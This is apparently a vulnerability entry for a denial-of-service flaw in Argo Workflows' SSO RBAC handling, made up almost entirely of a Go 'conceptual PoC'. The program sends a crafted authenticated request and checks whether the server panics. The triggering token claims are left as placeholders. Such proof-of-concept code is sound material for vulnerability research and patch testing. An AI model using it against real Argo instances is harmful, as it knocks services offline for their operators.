CVE-2026-42183 Argo Workflows拒绝服务漏洞

// Conceptual PoC: Triggering the nil pointer dereference // This requires a configured Argo Workflows instance with SSO enabled // and SSO_DELEGATE_RBAC_TO_NAMESPACE set to true. package main import ( "fmt" "net/http" "strings" ) func main() { // Scenario: An attacker has a low-privilege SSO token. // The user's groups match a Namespace-level RoleBinding, // but do not match the specific SSO namespace restrictions. // Malicious/Trigger Request Header // Authorization: Bearer <token_with_specific_claims> url := "https://argo-workflows.example.com/api/v1/workflows" req, _ := http.NewRequest("GET", url, nil) // The token must contain claims that trigger the specific path in rbacAuthorization() // where it expects a non-nil object that turns out to be nil. req.Header.Set("Authorization", "Bearer <SSO_TOKEN>") client := &http.Client{} resp, err := client.Do(req) if err != nil { // Expecting connection reset or EOF due to server panic fmt.Println("[+] Potential Crash detected:", err) return } defer resp.Body.Close() if resp.StatusCode == 500 || resp.StatusCode == 503 { fmt.Println("[+] Server returned error status, possible DoS") } }